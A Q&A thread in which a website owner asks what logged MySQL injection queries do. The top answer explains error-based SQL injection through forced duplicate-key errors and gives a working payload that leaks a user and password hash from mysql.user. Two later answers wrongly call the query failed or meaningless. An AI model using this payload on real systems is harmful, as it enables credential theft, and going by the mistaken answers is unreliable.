SQL Injection attack - What does this do?

问题:

I have detected some failed SQL injection attacks on my website. The failed queries are of the form:

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s or 1s etc.

I would like to know what these queries do?

The database is MySQL.

Update: Here is the original injected SQL:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

It fails with message

Duplicate entry ':sjw:1:ukt:1' for key 'group_key'

回答1:

What the attack really does

There is a subtle but clever detail about this attack that other answerers missed. Notice the error message Duplicate entry ':sjw:1:ukt:1' for key 'group_key'. The string :sjw:1:ukt:1 is actually the result of an expression evaluated by your MySQL server. If your application sends the MySQL error string back to the browser, then the error message can leak data from your database.

This kind of attack is used in cases where the query result isn't otherwise sent back to the browser (blind SQL injection), or when a classical UNION SELECT attack is complicated to pull off. It also works in INSERT/UPDATE/DELETE queries.

As Hawili notes, the original particular query wasn't supposed leak any information, it was just a test to see whether your application is vulnerable to this kind of injection.

The attack didn't fail like MvG suggested, causing this error is the purpose of the query.

A better example of how this may be used:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Why the error is raised

Why the query causes this error in MySQL is somewhat of a mystery for me. It looks like a MySQL bug, since GROUP BY is supposed to deal with duplicate entries by aggregating them. Hawili's simplification of the query doesn't, in fact, cause the error!

The expression FLOOR(RAND(0)*2) gives the following results in order, based on the random seed argument 0:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Because the 3rd value is a duplicate of the 2nd, this error is thrown. Any FROM table with at least 3 rows can be used, but information_schema.tables is a common one. The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

This error doesn't occur in the PostgreSQL-equivalent query:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Sorry about answering 1 year late, but I just stumbled upon this today. This question is interesting to me because I wasn't aware there are ways to leak data via error messages from MySQL)

回答2:

Executing the parenthesized subquery will give you the number of tables in your system. I guess the main aim might be to create queries and see where in the generated HTML the output appears. Thus the random string. The outer SELECT is invalid, as its subquery doesn't have an alias name. So I assume that this incorrectness was the cause this attack failed. They might have been trying to see what syntactic constructs they can inject and which will break the query.

回答3:

Select will just output the number, so the answer is always 6106 in your case

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

should give a different answer, it will give count of tables in system plus the random text inserted under name x, thats all

In short its a meaningless query, the result for the internal query is never shown, the result of the whole query is predetermined , seems the injection is somehow automated to log the attack using this strange way